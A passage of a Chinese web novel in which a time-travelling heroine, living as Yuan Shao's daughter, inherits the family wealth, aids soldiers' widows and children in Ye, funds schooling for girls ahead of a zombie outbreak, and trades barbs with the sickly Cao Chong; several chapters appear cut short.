“你怎么这么拎不灵清?寻死有什么用?曹家南征北战,砍人头跟砍菜瓜似的,难道还会在乎一个下人的生死?你自我感动给谁看呢?你死了倒是解脱了,给我留下个为了钱财逼死老仆的名声。要不干脆我陪你一起死算了,把宅子和袁家家产都还给曹家,让曹司空充作军费,变成攻城的矛、杀人的刀,让袁熙和袁尚死得更惨烈一些。”
袁福嘴唇微张,许久都没能重新合起,仿佛忘记了该作何反应。
他愣住了。
几千年的代沟深如马里亚纳,估计袁福活了大半辈子从没接受过价值观的洗礼,袁媛继续下猛药。
“你活着,我留着家产,以后逢年过节我们还能给阿父、大兄和袁家列祖列宗烧些纸钱。万一二兄和三兄未来遭遇不测,也能在家中立个牌位,让他们享受供奉。我们要是都死了,或者为了所谓的气节把宅子和钱全还给了曹司空,以后可就连个祭拜的地方都找不到、连个念经的法师都没钱请了,那阿父和大兄岂不是只能做孤魂野鬼,不知道到时候,他们在地下会不会责怪我们?”
袁福瘫倒在地。
如同灵魂出窍一般,他的眼神涣散,胸膛都仿佛失去了起伏。
曹冲收了剑,但他对袁福失去了兴趣,反而盯住袁媛,目光幽深。
袁媛顾不上曹冲。
因为袁福缓缓转了转眼珠子,仿佛从一场漫长的噩梦中醒来。他茫然地回望了一眼熟悉的宅院,突然双手捂脸,嚎啕大哭。
凄厉的呜咽从他的心底深处喷薄而出,他的整个身体都沉浸在巨大的悲伤中,每一声哀嚎都宣泄着他内心的痛苦。
令人于心不忍。
袁媛叹了口气,轻步上前,小心翼翼地避开袁福的伤口,环住他的肩膀,像哄孩子似的轻拍他的背。
“别哭了。”袁媛感受着袁福胸腔传来的颤动,松弛的皮肤包裹着柴瘦的骨头,仿佛直接就能触摸到每一根突薄的肋骨。
这是一个已经走到暮年的老仆,刚刚失去了对主家不切实际的幻想,不知该如何填补命运留给他的空洞。
“在邺城,袁家就剩下咱们爷俩了,我们把日子过好才是正经。”袁媛静静抱着袁福,轻声说,“以后我们相依为命,好好过。”
袁福的抽泣在空气中回荡。
许久,他抹干颊边的泪水,轻轻点了点头。
16. 抚恤
袁福的出现冲淡了天降横财的惊喜,袁媛失去了继续参观宅院的兴趣,安抚完袁福后,很快就打道回府。
如果不出意外,下次来的时候,袁福将在正房摆满袁家列祖列宗的牌位。
在袁媛取得了宅子的所有权后,以“苟且偷生”为代价,袁福终于能够在袁家的产业里名正言顺地祭奠他时运不济的旧主了。
袁家的其他家财是在三天后送达的。
一共两百余箱货品,金银珠宝,翡翠玛瑙样样不缺,随便拿出一件都是不可多得的精品。
袁媛穷人乍富,初始时还兴致勃勃地逐一欣赏,时间一久拿起珠宝的动作就变得机械又疲惫。老话说的好,物以稀为贵,见得多了,再巧夺天工的设计也无法激起心中的波澜。最后,袁媛甚至连开箱都嫌麻烦,直接让兵士把箱子搬进库房了事。
反正东西跑不了,以后有空再来整理吧——袁媛这样想。至于这个以后具体是多以后,那就要等她以后再来决定了。
在院子里一边舞剑,一边围观了全过程的曹冲接过张贵递上前的锦帕,往额头上随意一抹,似笑非笑:“那是我的库房。我的库房里只放我的东西,难不成,你打算把袁家的家财都送给我?”
想得倒挺美!袁媛暗自腹诽。
很难说清到底为什么,但自从接生夜一时脑抽,让曹冲拿过蜡烛之后,袁媛突然对他失去了忌惮心,说话做事都随意起来。
“箱子里都是些金银首饰,女人才喜欢穿金戴银呢,难道你也想挂个金耳环、戴个金镯子?你要是愿意,我也不是不能忍痛割爱成全你的。”似笑非笑谁不会?袁媛以其人之道还之其人之身。再说,她已经得到了另一位大BOSS的许可,才不怕曹冲的阴阳怪气,“我已经答应送环夫人两箱珍奇首饰,她答应了将库房借我使用。”
曹冲不置可否,故意出了个馊主意:“你怎么不把东西搬去袁家的宅院里?”
“你以为我没搬过吗?”袁媛双手叉腰,忍不住瞪他,“这已经是送来的第二批货品了,之前还有一百多箱我就让人送去了宅院里,由袁——”袁媛刹住口。
这两天,她已经从晓露处旁敲侧击地打听清楚,原身以前一直养在深闺,从来没有见过袁福。但她与袁绍长相有几分相似,所以袁福才一眼认出了她。
在三国,像袁福这种勤勤恳恳侍奉了主家一辈子的忠仆,小主人要礼貌地喊一声“伯”。
“——福伯。”袁媛入乡随俗,喊得毫无压力,“由福伯查收入库。谁知福伯一开箱,就哭着喊着说那些都是我阿父的旧物,比如那对看起来平平无奇的圆肚白玉瓶,就是我阿父的心爱之物,必须供奉到阿父的灵牌下。其他像什么琉璃屏、玉珊瑚,只要看起来是个值钱的东西,他都能说出个过往来,反正每一件都见证了袁家往日的荣光,每一件都不能卖。不能卖我收这些家产干什么?为了让他们占用我的屋子吗?”
曹冲意外:“你打算把这些东西都卖了?”
“当然。
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”
两年后,丧尸病毒就将席卷三国。到时,社会秩序紊乱,珠宝玉器既不能吃又不能穿,保存和携带非常不方便,不如转化成黄金、粮食这样的硬通货值钱。
没见网文女主穿回末世开始前,做的第一件事都是争分夺秒地储备粮食和饮用水吗?
三国食品存储技术不过关。以前的袁媛一人吃饱,全家不饿,所需要的生活物资非常有限。她曾担心过早储备,粮食会霉变发臭。
但是现在,她突然接收了一笔巨额财产,与其放在仓库里积灰,不如物尽其用。
当然,以她和福伯的食量,就是撑死也吃不了多少粮食。
但只要想花钱,总有办法能花出去。
袁媛已经问过福伯,袁绍在鼎盛时期,仅私兵就达两万人,加上士兵的父母、妻妾、子女等,轻松超过五万人。如今兵士虽然四散,但他们的家眷仍有不少滞留邺城,只是失去了家里的顶梁柱,日子过得十分艰难,典妻卖子的不在少数。
袁媛既然占用了袁绍女儿的身份,还因此获得了大笔财富,便想着将袁氏家产“取之于袁,用之于袁”。
对照历史记载的时间,袁熙和袁尚离死期不远,等他们归西,袁家只剩下袁媛一个女娃。在三国人重男轻女的普世观念里成不了大器,即使散财也不会有收买人心之嫌。
袁媛计划给每个袁家遗属发放抚恤补贴,并在陨石降临前一个月每人发放一定数量的米面,尽可能提高他们在末世的存活率。
17. 命运
被袁媛低估的不仅是古人的数学智慧,还有袁绍曾经的影响力。
阿昌的外表平平无奇,瘸着一条腿,却能干非常,很快就在福伯的帮助下将士兵遗属登记造册,整整写完了十卷竹简,一共五万两千人。
这大大超出了袁媛的预料。
她随手翻了几片简牍,惊讶地问:“整个邺城也不过十万常住人口,其中竟有一半多都是袁家遗属?”
“主公曾数次在邺城征兵,城里的绝大部分人家都有壮丁入伍。”阿昌望着竹简上连绵不绝的名字,认真解释,“数年战乱,男丁都死得差不多了。遗属中老壮不多,但男丁从军,妻儿留守是常态。一个士兵家中通常都有一个寡母、一个妻子、二三稚儿,有些甚至还有妾,每个妾再添一俩孩童,数目便很可观了。”
他拿自己做例子:“譬如在下,一家九口战死,可阿婆、阿母,以及叔伯的几位寡媳皆在世,他们膝下也都有儿女。我的阿兄、阿弟皆未来得及成家,就撒手人寰,我阿母怜惜他
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们断了香火,命我兼祧,加上我自己的妻子,我一共娶了三房媳妇。虽然因家中贫困,替阿兄、阿弟娶的那两房都是典妻,生完儿子就还给了别人,可其中一个生到第三胎才得了男娃。所以仔细算来,我家八十余口,除了我和我为自己生的两儿一女,其他七十八口全是需要您抚恤的遗属。”
袁媛张嘴,因为太过震惊一时间不知该说什么。
典妻是男权社会下一种特殊的婚俗,起源于秦前,在汉朝逐渐开始普遍起来。
18. 哭灵
袁尚和袁熙的头颅跟着蔡文姬颠簸千里,早就烂臭,气味难闻无比。可惜按照三国风俗,尚不能立刻入土为安,必须摆在供台上祭奠七天,方可下葬。
邺城老宅高挂的白帐隔绝了闹市区的熙攘繁华。
灵台上,暗弱的油灯在黑暗中摇曳,映照出两个雕刻在黑木牌位上的黝暗名讳。名字的主人如同灯上的火苗一般,只剩下若有似无的零星余温。
袁媛跪在蒲团上,披麻戴孝,听着庭院里偶尔传来的风声,只觉度日如年。
灵堂的角落里,福伯撑着拐杖,双膝跪地,口中喃喃念叨着两位苦命小主人的过往。
袁媛撇开了视线。
不久之前,他才因为侮辱曹操被曹冲暴打,本来经过一段时间的将养,伤口已经结痂,但为了抚恤遗属与操持葬礼,他强撑着不愿休息,直到现在有些部位还在渗血。袁媛劝了几次没有效果,只能尊重他人命运,任由老人家自便。
譬如现在,福伯已经在灵堂跪了两天一夜,还死撑着不肯离开。
他的眼角源源不断地流出哀怨的泪水,不厌其烦地擦拭盛放袁尚和袁熙头颅的黑盒,每一声呼唤都饱含着无尽的悲伤和血泪。
闻者伤心,听者落泪。
由于曹操下令“三军敢有哭之者斩”,上门送丧仪的名士故旧一个都没有,但袁家的门庭并不冷落。袁媛之前散出去的家财变成了妇孺遗属们的感激,他们无足轻重,犹如蝼蚁般挣扎求生,根本不用担心日理万机的曹操会将目光投注到他们身上,所以可以随心所欲地吊唁袁氏兄弟,跟在福伯身后高高低低地哭灵。
在袁媛穿越来的现代社会,焚烧纸钱、燃香烧蜡的祭祀方式早已被摈弃,人们通常用鲜花寄托哀思。许多人甚至放弃了实地祭扫,选择在网络墓地虚拟献花、植树、上香等方式缅怀故人。
这还是袁媛第一次见到传说中的“哭灵”。
遗属们有的仰天抬头,大声高喊袁家曾经的风光,声音在空旷的灵堂里回荡,显得格外突兀凄厉。有的把额头磕得邦邦作响,哭得撕心裂肺,不知道的还以为他们与袁氏兄弟有过多么亲密的关系。但实际上,碍于悬殊的身份差别,他们可能连袁尚和袁熙的面都没见过。
在他们的卖力衬托下,努力过但实在挤不出眼泪的袁媛就像个冷血的怪物,虽然是主祭人,却与周围伤痛欲绝的氛围格格不入。
这令袁媛无比烦躁。
郁闷的是,作为这世上硕果仅存的最后一个袁家人,即使再不情愿,她也不得不耐下性子跪在灵前,装模作样地唱完所有的戏。
更离谱的是曹冲。
身为害死袁氏兄弟的罪魁祸首的儿子,他毫无顾忌地登堂入室,不顾福伯甩给他的白眼,既不跪灵也不哭丧,老神在在地仿佛参观自家园林。
袁媛既不欢迎他,也不理解他的脑回路:“难不成你是专程跑来踢馆的吗?”
“踢馆是什么?”曹冲蹲在袁媛面前,饶有兴致地捏了捏她的脸颊。
“干的。”他品味了一番手指间的触感,做出结论,“连泪痕都没有,看起来两位兄长的死并不让你伤心。”
“大音声稀,泣咽无声,很多时候物极必反,太伤心了就哭不出来了。”袁媛挥开他的手,没心情陪他虚与委蛇,“你到底来干什么?”
“来看看曾经不可
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一世的汝南袁氏落魄的样子。”曹冲恶劣地说。
无视袁媛的怒目,他另起了话头:“蔡文姬拒绝了我阿父的保媒,说阿父本就是怜惜蔡邕没有子嗣才迎她归汉,为报答阿父的恩情,她愿意留守蔡家整理蔡邕遗作,并开馆授课,将蔡邕的毕生心血流传下去。”
袁媛舔了舔因为长时间没有喝水而干裂的唇,干巴巴:“曹司空答应了吗?”
“有什么理由不答应?”曹冲看她,“阿父只是想帮好友遗孤找个依靠。既然蔡文姬不愿接受好意,阿父难不成还要强迫她?”
袁媛连冷笑都欠奉。
蹲着的曹冲比跪着的她高许多,让她本就僵直的脖颈在看向他时,如同被灌铅了一般极不舒服。
也许是缺乏睡眠的缘故,袁媛甚至觉得有点头晕。
她就事论事:“曹司空派人与匈奴左贤王商议放蔡文姬归汉的赎金时,也没有事先问过当事人愿不愿接受他的好意。”
“这还需要问?”从曹冲的语气判断,他是真的讶异,“南匈奴蛮化未开,茹毛饮血,形同野人。蔡文姬当年是被左贤王强行劫掠的,虽然为他生育了两个儿子,但连个封号都没有,匈奴人视她为奴隶。她有什么理由会想留在匈奴?”
袁媛提醒他:“她与你口中的野人生了两个儿子。”
“那又怎么样?奴隶之子也是奴隶。”曹冲理所当然地说,“她的儿子不仅是她的儿子,还是左贤王的儿子,他们生在匈奴长在匈奴,是地地道道的匈奴人。我阿父能迎蔡文姬归汉,是因为她生来就是汉人。但让两个匈奴人归汉岂不可笑?左贤王也不可能同意让他的子嗣流落到外族人手里。”
19. 蒙学
公元208年七月,曹操亲自指挥水军顺江以水路优势快攻,命赵俨为都督,于禁、张辽、朱灵、李典率七军自襄阳走陆路南下,水陆夹击迅速瓦解防御体系,集中火力攻打荆州。
前线战况胶着的时候,曹冲依旧在邺城读书习武,悠闲度日。
可是,如果说这场战争与曹冲毫无关系,袁媛是不信的。
华佗刚建议环夫人去荆州休养,转眼曹操就把战火烧到了荆州,未免太过巧合。历史上,曹操的确在这个时间点南征荆州,恰逢时任荆州牧的刘表病逝,少子刘琮在蔡瑁等大臣的扶持拥护下继位,并听从韩嵩、蒯越、王粲的建议,举州降曹。但如果在这两件事的中间,加上曹冲拜访程昱、程昱向曹操献策的关键环节,事情的发展就一下子变得合理了。
当然,曹操的议事厅属于军事重地,非核心成员不得入,袁媛连门往哪里开都不认得,根本无从得知是谁向曹操建言献策。曹冲拜访程昱她倒是奉命准备了酒,但她只是个工具人,把酒交给张贵后就没她的事了。如果不是之后不久,街头巷尾突然流行起了《学子吟》,袁媛甚至不会知道曹冲的酒是为程昱准备的。
阿昌家的几个女孩扎着可爱的九鬟髻,一边唱歌一边绕着袁媛嬉闹奔跑,裙摆伴随着她们的脚步轻轻摇曳,被袁媛顺手抓住了一个:“你们从哪里学来的歌?”
“大家都会唱呀。”小女孩瞪大了清澈如水的双眼,很认真地歪头思考了一会儿,奶声奶气地回答,“哎呀,我想不起来呢……就是,就是有一天,突然我就会唱了!”
“笨!”旁边比她高一点的姑娘皱着鼻子敲了敲小女孩的额头,很少年老成地叹了口气,“女君,你可别听丹娘瞎说,这首歌明明是我教她的!当时她不知道什么是上学,还拉着我问了半天呢。”
袁媛忍俊不禁:“那你是从哪里学来的?”
“二叔教的。”姑娘脆声道。她是阿昌与兄长的典妻所生的女儿,虽然血缘上是阿昌的亲女,礼法上却得称呼阿昌二叔。
“这段时间,街上的男娃娃都在唱这个。”听到对话的阿昌一瘸一拐地走过来,引来周围路人的好奇打量。这是他每天都必须面临的注目,早已经习以为常,看向女孩们的眼神中满是疼爱宠溺。
“阿父,你今天路走得真好,很平稳呢!”丹娘扑到阿昌怀里,向上仰起的小脸上写着的崇拜与自豪令阿昌心头一暖。他轻轻抚摸女儿头上的小揪揪,对袁媛解释:“这首《学子吟》是从安国亭侯府传出来的,因歌词朗朗上口,且能鼓励儿郎用功上进,一下子便流传开来。”
《学子吟》的曲调与《上学歌》一模一样。袁媛猜测是曹冲把歌唱给安国亭侯程昱听,而后程昱又一传十,十传百,传得人尽皆知。
不过,曹冲从袁媛这里学到的是
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《上学歌》的普通话版本,程昱肯定听不懂普通话。不知道是他还是曹冲修改了歌词,将它变成了一首符合三国主流审美的流行歌曲。
“晨曦破梦晓,叮咛心头绕,鸿鹄鸣,早,早,早,寒来暑往展翼飞天高。”
“唱这歌的都是蒙童。”阿昌拍拍丹娘的肩膀,放她去与姐姐们玩耍,孩子们你追我打地跑开了。
阿昌不好意思地挠头:“学馆只收男童,但小人家中多是女娃。女君曾说,明智识礼不分男女,女子若是腹有诗书,也能‘气自华’。小人虽比不得蔡邕蔡大家,可也略通文墨,便想着在家为幼女启蒙,不求女娃们如同蔡文姬般才名远播,只求读书明理,不至于粗鄙无知。”
“你有心了,我竟然从未想到过。”袁媛喃喃,恰巧一阵清风拂过,不仅撩起了她额头的碎发,也拨开了弥漫在她心头的雾障。
提高女性地位、为女孩提供读书的机会是女主穿越小说里的经典桥段。以袁媛如今掌握的财富地位,做起来也并不难。但她一直把穿越当成游戏,傲慢超脱,从来没有静下心来,去仔细思考当地土著生活的艰难困苦。
如果这是一个真实世界,在力所能及的情况下,她会对三国女性的困境视而不见吗?
不会。
女孩们已经跑出了视线,阿昌却仍旧盯着她们离开的方向,深沉的父爱比任何语言都要深刻厚重。
20. 守夜
感觉得出来,自始至终,蔡文姬都对袁媛的“大逆不道”心存芥蒂,但袁媛一点也不在乎。
反正最后的结果是,蔡文姬收下了袁媛为女童们准备的拜师礼,约定每天上午开馆授课。
下午是蔡文姬为贵女传授琴艺的时间,但袁家遗属的女童们也没闲着。袁媛花重金请来武艺师傅,带着女孩们跑圈扎马步,不求她们学会高深的武术,只求强身健体,希望她们将来不至于只与丧尸打了个照面就瘫软在地。
当袁媛的精心安排不经意间传入曹冲的耳朵时,他只是淡然一笑,并没把自家侍女的小打小闹放在心上。不过,出于某种微妙的心理,或者一丝不易表述的好奇,曹冲在某个不太繁忙的午后,不请自来地参观了女孩们的课堂。
一群豆丁大的女娃娃一字排开,紧绷小脸,双手握拳放置在腰间,虽然马步扎得摇摇晃晃,时不时需要左右偷瞄一眼找回平衡感,但神情却异常专注认真。
已经冲到嘴边的嘲讽突然有些吐不出来了。
“有点意思。”他走到一个因为太过用力把眼睛瞪得溜圆的小女孩面前,伸出一根手指向着她的肩膀一戳,女孩重心不稳,小屁股瞬间掉在地上,引来始作俑者毫不掩饰的无良大笑。
“你几岁?”袁媛赶忙扶起受了无妄之灾的丹娘,狠狠瞪了曹冲一眼,“欺负小娘子很好玩?”
“是蛮好玩的。”曹冲一本正经地点头,完全没有被嫌弃的自觉。
丹娘眼眶泛红,忍了忍没忍住,终于“哇”得一声大哭出来,要多委屈有多委屈。
曹冲笑得更开心了。
啧,这人!
袁媛懒得理他,把丹娘抱住哄了又哄。幸好小姑娘的情绪来得快去得也快,不一会儿就重新笑了,自己跑回队伍里站好,生怕落下训练的进度。
曹冲似笑非笑:“难道,你还指望这些奶娃娃学成之后保护你不成?”
“关你什么事?”袁媛憋了一肚子火,不给他好脸色,“她们是袁家的遗属,不是袁家的仆人。如今,她们都是自由身,所以她们是为自己学,不是在为我学。”
三国普遍认为女人没资格顶立门户,袁家没了男丁,在普世观念里袁家已经绝户。况且,真正的袁媛早就死了,汝南袁氏已无血脉留世。
“你花费如此多银钱教导她们,加上给蔡文姬的束脩,以及补贴给女孩父母的钱财,一月至少得花五锭金子,你图什么?”曹冲不能理解袁媛的慷慨。
“我乐意。”不得不说,怼人会上瘾,尤其当对象是曹冲这种嘴欠喜犯贱的人的时候。
自从袁媛对他身上的上位者光环去魅,整个人的精神状态都好了很多。
曹操的儿子又怎样?她也并不是个无根无依的小婢女,她是袁绍的女儿!哪怕袁绍早死,凭借曹操与袁绍早年的交情,曹冲也并不能随意打杀她。
而且,算算日子,曹冲也活不了多久了。
出于人道主义精神,袁媛语重心长地劝曹冲:“钱这种东西,生不带来死不带去,花出去才有意义。要是人死了,钱没花完,那多亏啊?所以我劝你,还是趁现在多花点钱,想买啥买啥,想吃啥吃啥,免得以后不小心突然就死了,多少钱都没有用了。”
大概是第一次听到有人如此委婉地咒他早死,曹冲有些不适应,表情神奇:“听起来,你似乎笃定我会遭遇不测?”
“我哪有那本事。”袁媛是打死也不可能承认的,不过,阴阳曹冲的感觉爽到飞起。
袁媛睁着眼说瞎话:“现在这种世道,变数太多,我们要以人生末日的态度对待每一天,及时行乐最重要。”
“嗯……”
曹冲敛去了笑容,眼神逐渐深邃,思绪仿佛被话语中的关键词牵引着飘向了遥远而未知的方向。
这种气场的变化很玄妙,无法用言语形容,却真真实实的存在。犹如即将变身的动漫主角,空气在顷刻间凝固,树叶和花朵都停止
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了摇曳,周遭的一切都安静下来,只剩下主角大脑高速运转的轰鸣。
就……有点离谱。
明明是个短命鬼,为什么哪怕安静地坐着什么都不做,都醒目地让人挪不开眼呢?
历史学界普遍认为狭义的三国时期是从公元220年到280年,广义的可以将开始时间延伸至黄巾起义的公元184年。曹冲公元208年就一命呜呼了,具体月份不明。他死时有可能连赤壁之战都还没打呢,无论从哪个角度算,也不该属于主角才对。
他凭什么享受主角待遇!
这对于袁媛这种即使穿越了,仍旧逃避不了炮灰命运的普通人也太不友好了!
袁媛不由忿忿。
身为炮灰,袁媛自认为是无法理解曹冲的脑回路的,她对曹冲脑子里的弯弯绕也没兴趣。比起关心一个短命鬼,她还是更关注曹冲死后她能去哪里找个没人的角落苟过末世。
她已经认真地思考过这个问题,并初步有了答案。
她选中了四川境内的一个小山村。
不仅因为山里人烟稀少,不容易撞上丧尸。更重要的一个原因,是因为在四川,有机会遇到她只在生物教科书上看过的熊猫。
在袁媛生活的年代,熊猫早已灭绝,但国家博物馆里留存了一卷非常珍贵的影像,记录了幼年熊猫无忧无虑嬉戏玩闹的场景。那憨态可掬的模样,把袁媛萌得一脸血。
难得穿越一次时空,必须去见一见传说中的国宝萌兽!
至于去荆州病毒密集区凑热闹,并不在袁媛的考虑范围之内。除了人多+病毒多=丧尸多+危险系数高之外,还因为人类感染病毒后变异成为异能者的过程极端痛苦。
在末世以前,医学界将人类的□□痛感分为十个等级,0级为无痛,10级参照物是产妇自然分娩时的痛感。但末世之后,变异痛将痛感等级拉升到了百位数,11-99没有对应参照物,只有100级注明为变异痛。
21. 守夜
人生不如意十之八九。
天不遂袁媛愿,直到曹冲生辰当天,他仍旧活蹦乱跳的,半点没有要嗝屁的意思。
袁媛一边失望,一边却也不能真去做盘不堪入口的黑暗料理来挑战曹冲的忍耐度,只能在四大金刚献完礼物后赶鸭子上架地站起来,在曹冲玩味的眼神中摆出一个别扭的造型。
“哎呦!”张贵一拍大腿,瞪大眼睛,“袁娘子这是,要跳舞?”
这是显而易见的。
只是比起其他舞妓,袁媛的姿势实在别扭。她的手臂僵硬得犹如被钉死在半空中的木棍,小腿微颤,整个人如同在风中瑟瑟发抖的枯叶,浑身上下找不到半点纤细灵动的美感。
哪怕张贵巧舌如簧,也夸不出口。
袁媛浑身不自在。
三年前跟着邵娘子学舞的时候,她日夜苦练,腰身如同杨柳般柔韧婀娜,此刻却如同一块硬邦邦的铁板,稍稍一转,就能听到关节处传来的咔嚓作响,高声抗议她不合时宜的动作。
一屋子下人齐刷刷盯着她,令袁媛头皮发麻。
他们都是些数据而已,曹冲还是个板上钉钉的死人,不需要在意……袁媛骑虎难下,坚强地做了回心理建设,指挥四肢开始舞动。
没有音乐,她只能自力更生,自己哼唱《三和歌》。
当然,质量是不能指望的。
《三和歌》是汉朝较为流行的一种音乐,《晋书?乐志》有记载:“丝竹更相和,执节者歌。”在朝会宴饮、民间宴会等场合中十分常见。虽然已经三年不唱,但袁媛偶尔会在曹府的宴席上听到,不至于忘词。只是《三和歌》采用瑟调、清调、平调3种宫调,旋律还算优美,但节奏感不强,与袁媛习惯的现代歌曲表现形式完全不一样,打死她也唱不出邵娘子那种如猫爪挠人般勾人摄魄的曼妙婉转。
邵娘子跳舞也是翩若惊鸿,娇如弱水,纤纤玉手轻抚的空气,吸到观赏者的肺里,能让人飘飘欲仙。
按照邵娘子的培养计划,如果袁媛被调教三年,如今
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也该是个妩媚优雅,举手投足间自带迷魂女人香的人间尤物。
可惜曹冲横叉一杠,打断了袁媛成为一代红牌的进阶之路,现在只能安静坐在台下,被迫欣赏她稀烂的歌喉与舞姿。
他从没见过这么难看的舞。
曹冲没有研究过舞蹈,但外行看热闹,见得多了,也大致能分辨出舞蹈的难度。一个平平无奇的旋转动作,只是就地转个圈而已,袁媛就会因为控制不好平衡猛晃身体,步伐和手势更是完全没有章法,手动手的,脚动脚的,互不搭理,像团乱麻般理都理不清。
长见识。
一曲舞毕,曹冲甚至不由自主地松了口气——终于跳完了。
“舞还能这样跳。”曹冲忍不住嘲讽,“你真是天赋异禀,送我如此清奇的一份生辰礼物,令我印象深刻,恐怕这辈子都忘不了。”
“你喜欢就好。”袁媛也知道自己跳得不咋的,但面前没有全身镜,她不清楚到底跳得差到了什么地步,只庆幸总算是跳完了。
22. 喝粥
窗边挂着一弯淡白的月牙,群星已经褪去,远处的天际线泛起浅淡的金黄。
不用照镜子,袁媛也知道自己发髻散乱,眼中布满血丝。
按了按僵硬的脖子,蹑手蹑脚地撑着床沿站起身,第一件事就是去看还在沉睡中的曹冲。
凝聚了顶尖绣娘心血的华贵被褥映衬下,曹冲的面容异常清瘦苍白,浓密的睫毛在眼睑下方投射出成片的阴影,两颊带着几分不正常的潮红。他的呼吸细若游丝,虽然清浅但很细腻,如同蝴蝶停在花瓣上休憩时一张一合的翅膀,为轮廓分明的面部轮廓添上了几分飘逸。
活脱脱一个古代羸弱版的睡美人。
好看是极好看的,如果放在偶像剧里,趁着四周无人,美人无还手之力,袁媛恐怕已经扑上去一亲芳泽了。
可惜,偶像剧是偶像剧,现实是现实。
先不论曹冲睚眦必报的个性,一旦被轻薄必然千里追凶,哪怕他一时脑抽任由采花贼作为,袁媛也下不去这个嘴。
偶像剧都是骗人的!
剧里根本拍不出药罐子男主身上刺鼻的异味!
中医讲究“静养”。体质虚弱的病人如果频繁洗澡,会损伤阳气,导致寒气入侵,加重病情。为了休养身体,满打满算,曹冲已经整整一个多月没有洗澡。哪怕张贵工作勤勉,每日都会为他擦身,极具存在感的酸臭和霉味还是直冲袁媛的天灵盖。
努力控制住呕吐的冲动已经耗尽了她的洪荒之力!
主动与臭味零距离接触?
不存在的。
光想想就生理性厌恶。
不同于健康时圆润饱满的嘴唇,病入膏肓的曹冲唇色苍白得几近透明,连唇线都模糊不清。
他已经一个多月没有刷牙了!
虽然三国还没发明牙膏和牙刷,但贵族阶层有自己的方式注重口腔卫生。如果曹冲没有生病,他每天早晨都会用手指蘸取细盐擦拭牙齿。
然而,自从他缠绵病榻,这个步骤就省略了!
可想而知,他现在的口臭有多严重!
袁媛一点也不想去挑战自己的忍耐力。
偏偏曹冲对
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自己的邋遢并没有半点自知之明。他缓缓睁开眼,醒来的第一件事就是吩咐袁媛传饭:“你喂我吃。”
明明以往四大金刚服侍的时候,没这项任务!
难道仅仅过去一夜,曹冲就突然病情加重到连碗都端不稳了?
袁媛腹诽,可是曹冲是整个曹府的中心。屋内动静一响,早就候在外间的张贵和晓露、晨曦、夕雾、暮霞四大金刚便端着饭食鱼贯而入。
众目睽睽之下,袁媛不得不遵守曹冲的命令,认命地用勺子舀起粥,放到嘴边敷衍地吹上两口,送到曹冲唇边。
曹冲撇开脸:“你先尝一口。”
啊?
袁媛傻眼。
这是嫌她吹得不够凉?
真龟毛!
袁媛无法,只能把胳膊收回来再对着粥补吹几下,在曹冲的监督下浅浅地吃了一口。
曹冲问:“感觉怎么样?”
袁媛实话实说:“味道有点寡淡,盐放少了。”
“呵。”曹冲发出意味不明的哼笑,把袁媛笑得心惊胆战。
23. 舆图
成功将最后一勺粥咽进腹中,曹冲的身体立刻被虚弱和疲惫占领。袁媛刚放下碗,还没来得及找出手绢为他擦去嘴角的粥渍,回头就发现曹冲已经呼吸深沉,半躺在床头毫无预兆地沉沉睡去。
也许说睡不太准确,袁媛觉得,比起睡,他更像是昏过去的。
屋内恢复了宁静。
张贵垂着脑袋半跪上前,轻轻为主子塞好被子。
环夫人刚用完朝食,轻手轻脚地赶来探望,进门却发现儿子又睡了过去,一颗慈母之心不由自主地揪了起来。
她示意张贵和晓露随她到外间回话,隔着虚掩的房门,能听到断断续续的对答。
“七少爷用完了一整碗粥,胃口尚佳……时睡时醒……病情平稳……有些精神不振……若是华佗先生在就好了……”
“华佗先生?”环夫人的声音忽高忽低,如同断线的风筝在梁柱间乱撞,“没有华佗先生了!方才有人来报,说月前老爷赤壁大败,头风发作,急召华佗为他治疗,但华佗屡次借口妻子病中滞留家乡。老爷勃然大怒,遣使去探,言说若其妻之病属实,便赐其四千升小豆以作慰问;若华佗胆敢欺瞒,就将其押送回许县下狱。结果华佗果然胆大包天!”
环夫人破碎的呜咽中带着令人心惊的颤抖,“这老匹夫,仗着懂些岐黄之术,惯会沽名钓誉,竟说宁救穷苦百姓,不医达官显贵。呵!那起子贱命穷鬼,早死早解脱,哪配用好针好药?老爷一气之下,便送他去见了阎王。如今,世间已无华佗。”
“可怜我儿,该如何是好!”低沉压抑的哭泣穿透门帘,变得绝望与悲伤,令人忍不住感叹命运的无常。
张贵和晓露不敢挪动分毫,盯着青砖地上环夫人狰狞的黑影,努力将存在感减到最低。
袁媛无声叹了口气。
虽然早有心理准备,但华佗的死讯落地的时候,还是忍不住要为这位神医的不幸默哀。
在医疗条件极其落后的三国,活着的华佗无异于一道护身符,对曹魏政权有着无可替代的战略
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价值。这个道理,曹操不可能不懂,但他还是斩杀了华佗。
不知道曹操在听到曹冲不治身亡的消息时,会不会后悔曾经的决定?
正对着床榻上像死人般无声无息的曹冲,悄悄揉了揉酸涩的眼睛。
她昨夜睡得断断续续,现在眼底泛起浓重的青黑,眼睛难受得厉害。可是曹府规矩严明,当主子的能随时休息,做婢女的却必须谨守本分,没有曹冲的允许,任何人不得擅自离岗。
可她实在无事可做。
曹冲说睡就睡,睡之前并没给她安排工作;环夫人沉浸在绝望里,好容易哭够了离开,也顾不上给她派活。
屋内扫洒清洁都有专人负责,她完全是个多余的人。
活动了下僵直的脖颈,袁媛环顾四周,目光最终落在了墙上挂着的舆图上。
不同于现代的纸质地图,三国的舆图大多是绢帛材质的,匠人用彩绘的方式标注出关隘、城池与岛屿,画风类似国风山水画,极具艺术感,也较为抽象。
24. 试毒
夕雾又添了一遍柴。
室内里暖烘烘的,袁媛站在曹冲的床边,双颊泛红,从头到脚都写着明显的疲惫,昏昏欲睡。
她是真佩服古人的体力。
同样熬夜服侍,张贵和四大金刚哪怕连续作战一个月,白天仍旧能够精神抖擞。唯有袁媛,只不过熬了短短一夜,就已经困得生不如死。
可恨曹冲仿佛完全没有察觉她的困顿!
为了提醒曹冲,袁媛已经无数次搓揉酸涩的双眼,哈欠也是一个接着一个,不仅动作幅度巨大,还配合着发出夸张的抽气声,如同对良心的拷问,希望曹??扒皮??冲能体谅下人的辛苦,早些放她回房休息。
但是毫无用处。
张贵等人偷看她无数次,偏偏曹冲不动如山,目光始终落在胸前的床桌上,书页许久未翻,仿佛只是一件摆设,并不值得他真正进行阅读。
曹冲总是如此。
因为病体沉重,他只能在精神尚好时看书打发时间。以前没有床桌,他经常吩咐袁媛读书,袁媛念得辛苦,他却过耳不过心,眼神总是空洞无神,思绪好似飘到了十万八千里之外,又或者沉浸在了不为外人知的思考中。
